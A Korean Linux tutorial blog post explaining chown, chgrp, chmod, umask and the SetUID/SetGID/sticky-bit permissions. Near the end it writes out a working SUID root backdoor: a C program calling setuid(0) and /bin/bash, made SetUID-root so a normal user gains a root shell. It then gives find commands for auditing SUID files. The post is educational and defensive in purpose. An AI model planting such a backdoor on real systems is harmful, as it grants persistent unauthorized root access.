본문으로 바로가기

파일 속성 관리 명령어

category Linux/Linux 기초 2017. 8. 21. 23:42
  • chown CMD

chown 명령어는 Unix 계통 시스템에서 파일의 소유권을 바꾸기 위해서(change the owner of a file)사용된다. 대부분의 경우, 이것은 오직 슈퍼 사용자에 의해서만 실행될 수 있다. 그들이 소유하고 있는 파일의 그룹을 바꾸고 싶어하는 비특권화된 (일반적인) 사용자들은 chgrp을 사용해야 한다.


[명령어 형식]

# chown user01 file1

# chown user01.other file1 (# chown user01:other file1)

# chown .other file1

# chown -R user01 dir1

# chown -R user01:other dir1


다른 옵션들이 있지만 많이 쓰이지 않으니 -R 옵션만 확실히 기억하도록 하


-R    경로와 그 하위 파일들 모두를 바꾼다.

  • chgrp CMD

chgrp 명령어는 파일의 속성정보 중 그룹명을 변경하는 명령어이다.


[명령어 형식]

# chgrp user01 file1


chown 명령어로 그룹명 변경이 가능하므로 많이 사용되지 않는다.

  • chmod CMD

파일이나 디렉토리를 새로운 권한으로 변경하는 명령이다. 파일의 소유자나 관리자만이 chmod를 사용할 수 있으며 파일의 소유자, 파일의 그룹, 다른 사용자로 나누어 각각의 권한을 설정 할 수 있다.


[명령어 형식]

# chmod u+x file1    ( 심볼릭 모드 Symbolic Mode )

# chmod 755 file1    ( 옥탈 모드 Octal Mode )


- 심볼릭 모드 ( Symbolic Mode ) 


[사용자 기호]          


기호

 

설명

u

user

파일/디렉토리의 소유자

g

group

파일/디렉토리의 그룹

o

other

다른 사용자

a

all

소유자, 그룹, 다른 사용자 모두(아무 표시 안할 경우 기본적으로 설정됨)







[설정 기호] 


기호

 

설명

+

퍼미션 허가

지정한 퍼미션을 허가한다.

-

퍼미션 금지

지정된 퍼미션을 금지시킨다.

=

퍼미션 지정

지정한 퍼미션만 허가하고 나머지는 금지 시킨다.

설명 : 이전에 권한을 어떻게 줬던 지금 설정해주는 권한으로 대체시켜서 사용 가능 (+,-는 내가 이전에 어떠한 권한을 설정해 줬는지 확인해야 하지만 =는 이전에 어떻게 설정하였던 상관없이 설정이 가능한 것이다.)


[ 권한 기호 ]


r

w

x

read

write

excute


- 옥탈 모드 ( Octal Mode)를 이용한 권한 변경


소유자권한비트

그룹권한비트

기타권한비트

r

w

x

r

w

x

r

w

x

1

1

1

1

1

1

1

1

1

4

2

1

4

2

1

4

2

1


--- : 권한 없음 0 000

--x : 실행 권한 1 001

-w- : 쓰기 권한 2 010

-wx : 쓰기 실행 3 011

r-- : 읽기 권한 4 100

r-x : 읽기 실행 5 101

rw- : 읽기 쓰기 6 110

rwx : 읽기 쓰기 실행 7 111


- 퍼미션의 의미


파일

디렉토리

r 읽기 (cp 가능)

r(ls CMD)

w 쓰기

w(생성 & 삭제)

x 실행

x(cd CMD)


 *  파일을 삭제하기 위해서는 그 파일을 가지고있는 디렉토리의 wx 권한을 부여 받아야한다. 

 *  디렉토리는 반드시 x 권한을 가진다.

 *  퍼미션 적용 순서는 UID > GID > Other 권한 순으로 적용한다.


  • umask CMD

파일이나 디렉토리 생성시에 파일과 디렉토리에는 기본적으로 적용되는 퍼미션이 있다. 기본적으로 설정되는 퍼미션의 경우 umask에 의해 결정이 된다. umask는 디렉토리와 파일의 기본 퍼미션을 결정해주는 명령어이다.

 

[기본 퍼미션(Default Permission) 변경]


 

파일

디렉토리

Default Permission

666

777

umask

022

022

생성 기본퍼미션

644

755


많이 쓰이는 umask 값은 002, 022, 027를 사용한다.


- 관리자 설정 파일 

/etc/bashrc 

이 파일에 umask를 적용하면 모든 사용자가 적용받는다.


vi /etc/bashrc


 if [ $UID -gt 99 ] && [ "`id -gn`" = "`id -un`" ]; then

    umask 002 

else

    umask 022 

fi


UID -gt 99   : UID great than 99 ( UID가 99보다 크다)

&&            : AND (그리고)

id -gn = id -un : id -gn ( group name ) 의 출력 결과와 id -un ( user name )의 출력 결과가 같으면


즉 사용자 이면 umask 002

    관리자 이면 umask 022 


* umask 값이 클수록 보안적으로 높다. -> 만들어지는 파일의 권한을 가지는 사용자가 적을수록 보안적으로 좋다.

 때문에 관리자가 사용자보다 umask 값이 크다


- 사용자 설정 파일

$HOME/.bashrc




** umask 값은 임의로 바꾸면 안된다. 권한 하나로 많은 오류가 생길 수 있기 때문이다.



  • 특수 퍼미션 ( SetUID / SetGID / Sticky Bit )

-SetUID

 파일에 대한 소유권을 잠시 다른 사용자에게 빌려 줌으로 인해 소유권이 없는 사용자가 잠시 동안 파일에 대한 소유권으로 권한을 행사 할 수 있는 것을 말한다.


# chmod 4755 file1  [일반적]           #chmod 4100 file1     [ 최소 ]      #chmod 4655 file1   [ 잘못된 사용 ]

( 0755 : rwxr-xr-x )                        ( 0100 : --x------ )                        ( 0655 : rw-r-xr-x )

( 4755 : rwsr-xr-x )                        ( 4100 : --s------ )                        ( 4100 : rwSr-xr-x ) 정상적으로 동작 안함

-Set GID

 SetUID와 달리 그룹의 권한을 잠시 빌려준다.


# chmod 2755 file1  [일반적]           #chmod 2010 file1     [ 최소 ]      #chmod 2745 file1   [ 잘못된 사용 ]

( 0755 : rwxr-xr-x )                        ( 0010 : -----x--- )                        ( 0745 : rwxr--r-x )

( 2755 : rwxr-sr-x )                        ( 2100 : -----s--- )                        ( 2745 : rwxr-Sr-x ) 정상적으로 동작 안함


# chmod 6755 file1

( 0755 : rwxr-xr-x )

( 6755 : rwsr-sr-x ) 


-Sticky Bit

 게시판과 같은 모든 사용자가 자유롭게 파일을 만들 수 있지만 자신이 만든 파일이 아니면 삭제할 수 없는 특수한 상황에서 사용된다. 대표적으로 

 /tmp 파일이 Sticky Bit 로 되어있다.


# chmod 1777 dir1 [일반적]           #chmod 1001 dir1     [ 최소 ]          #chmod 1754 dir1   [ 잘못된 사용 ]

( 0777 : rwxrwxrwx )                    ( 0001 : --------x )                        ( 0754 : rwxr-xr-- )

( 1777 : rwxrwsrwt )                    ( 1001 : --------t )                         ( 1754 : rwxr-xr-T ) 정상적으로 동작 안함



특수권한

소유자권한비트

그룹권한비트

기타권한비트

SetUID

SetGID

sticky bit

r

w

x

r

w

x

r

w

x

1

1

1

1

1

1

1

1

1

1

1

1

4

2

1

 

 

 

 

 

 

 

 

 


- 파일과 디렉토리 적용


 

SetUID

SetGID

StickyBit

file

O

O

X

directory

X

O

O



- 특수 퍼미션이 필요한 경우

 /etc/shadow 라는 파일은 모든 사용자의 비밀번호를 저장하고 있는 파일이다. 

-r-------- 1 root root 1.3K  8월 22 07:11 /etc/shadow

그렇기 때문에 관리자만 r 권한을 갖는다. 그러나 각 사용자들은 자신의 비밀번호를 passwd 명령어를 통해서 변경할 수 있다.

비밀번호를 바꾸려면 새로운 암호를 /etc/shadow 파일에 저장해야함을 의미한다. 

그러나 일반 사용자들은 권한이 없어 변경 할 수 없는것이 맞지만 할 수 잇는 이유는 passwd 명령어가 SetUID를 가지고 있기 때문이다.

-rwsr-xr-x 1 root root 23K  1월  7  2007 /usr/bin/passwd

일반 사용자가 passwd 라는 명령어를 사용 할때 임시적으로 root의 권한을 부여 받기 때문에 가능하다. 

만약 이 /usr/bin/passwd 의 퍼미션을 755로 지정하면 일반 사용자는 암호를 바꿀 수 없다.


- 특수 퍼미션의 위험성

특수 퍼미션이 임시적으로 부여받는 권한이 보통 관리자의 권한이다. 때문에 잘만 사용한다면 관리자의 권한을 일반 사용자가 부여 받을 수 있다는 뜻이된다. 특히 bash 라는 명령어로 bash 쉘을 실행할때 root의 권한을 받는다면 굉장히 위험한 상황에 놓일 수 있다. 

이러한 이유로 다른 모든 명령어는 특수 퍼미션을 적용할 수 있지만 bash 라는 명령어만 사용할 수 없게 막아두었다. 

 Sticky Bit는 아무 사용자나 파일을 만들수 있으므로 해커가 침투해서 악의적인 파일을 심어둘 가능성이 높다.


임시로 bash 명령어와 같은 일을 수행하는 backdoor.c 를 만들어 일반 사용자로 root 권한을 가지는 bashshall 을 만들어보자


1. # vi backdoor.c


#include <stdlib.h>

#include <sys/types.h>

#include <unistd.h>

 

main()

{

       setuid(0); // 무조건 root 사용자로 실행해야한다.

       setgid(0);

       system("/bin/bash"); // CMD 수행 명령어

}

setuid(0) , setgid(0) -> root:root ( root 사용자로 )


2. # gcc -o bashshell backdoor.c

               # ls -l bashshell

             -rwxr-xr-x 1 root root 4934 Feb 11 09:22 bashshell 


3.  setuid / setgid 가 root 사용자로 실행해야 되므로 아직 사용 할 수 없다. 
bashshell을 SetUID 설정을 해서 bashshell이 시작될때 임시적으로 root 권한을 주면 함수가 정상적으로 실행 될 것이다.

   # chmod 4755 bashshell
   # ls -l bashshell

-rwsr-xr-x 1 root root 4934 Feb 11 09:22 bashshell


4.  일반 사용자로 로그인해서 bashshell을 실행시켜 확인해본다.

   # telnet localhost

   $ ./bashshell

   # id

uid=0(root) gid=0(root) groups=500(fedora)



- 이런 이유로 SetUID / SetGID / Sticky Bit 는 굉장히 위험한 파일과 디렉토리이다. 

 때문에 관리자는 특수 퍼미션이 설정된 파일들을 늘 파악하고 있어야하며 관리자가 생성하지 않은 파일들은 해킹을 의심해봐야한다.

 

** 특수 퍼미션을 가진 파일 찾기

# find / -perm -4000        # find / -perm -2000

# find / \( -perm -4000 -o -perm -2000 \) -ls

# find / -perm -4000 > setuid.txt

# find / -perm -4000 | grep wc -l > setuid.count

# find /home -type f -perm -4000 -exec rm -f {} \;         ( 홈폴더 밑에 특수 퍼미션파일이 있다면 바로 삭제한다. )


find 명령어로 찾아 생성된 setuid.txt 와 setuid_old.txt 을 비교해서 새로 생긴 파일이 있는지 확인하는 방법을 사용한다.

diff setuid.txt setuid_old.txt